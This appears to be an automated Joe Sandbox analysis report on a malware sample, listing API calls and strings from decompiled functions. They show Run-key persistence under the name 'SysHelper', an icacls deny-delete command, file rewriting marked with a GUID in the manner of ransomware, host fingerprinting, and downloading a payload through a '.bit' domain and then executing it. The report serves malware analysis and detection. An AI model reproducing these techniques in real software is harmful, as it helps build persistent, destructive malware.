__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 1d00b682ff7c2ca758e8ada97b96716206c53ff5765b13fcfff0edcc43553fd4
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 1d00b682ff7c2ca758e8ada97b96716206c53ff5765b13fcfff0edcc43553fd4
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00770000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 02e9612f127fb412d77a5d1f2b2faf682c4a1611dcf75e79c66b72e064a0daf3
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02e9612f127fb412d77a5d1f2b2faf682c4a1611dcf75e79c66b72e064a0daf3
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 84a8dca5a36378ff05d44085a5bd3b709dd665d4de40702c52a5a158abc9c662
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 84a8dca5a36378ff05d44085a5bd3b709dd665d4de40702c52a5a158abc9c662
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
SysHelper, xrefs: 00411D5B, 004120EB
SHGetFolderPathW, xrefs: 00411E9F
D, xrefs: 00412128
" --AutoStart, xrefs: 004120C2
" --AutoStart, xrefs: 00411DD1
Shell32.dll, xrefs: 00411E94
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
icacls ", xrefs: 0041214C

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 4563d0486e789c2f1cefc6a9fe51bb17dd1fb7a523a22cbce3cd6528432fead2
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: 4563d0486e789c2f1cefc6a9fe51bb17dd1fb7a523a22cbce3cd6528432fead2
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 1448deef21e163a140caf5e6bb038b5fd295b7e5c4a4a491d3225e255b9fdc06
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 1448deef21e163a140caf5e6bb038b5fd295b7e5c4a4a491d3225e255b9fdc06
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

SHGetFolderPathA, xrefs: 0041DCFB
$run, xrefs: 0041DEAB
Microsoft Internet Explorer, xrefs: 0041DEF7
Shell32.dll, xrefs: 0041DCF0
.bit/, xrefs: 0041DF45

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 643f4d095ddfc82f24e63f86ad7538dc51b27004006f590a2bfa9c68808c0752
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 643f4d095ddfc82f24e63f86ad7538dc51b27004006f590a2bfa9c68808c0752
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcessModules, xrefs: 0041226C, 004122A1

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: 99439cb1b82b38455759463e76a52b3e11960165c09f04e6124a58be1507069c
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: 99439cb1b82b38455759463e76a52b3e11960165c09f04e6124a58be1507069c
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: a0d612973302391a8df1666eb6b0a02f391d4b6cf9eba777deeb02f611edb930
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: a0d612973302391a8df1666eb6b0a02f391d4b6cf9eba777deeb02f611edb930
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 00423576 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
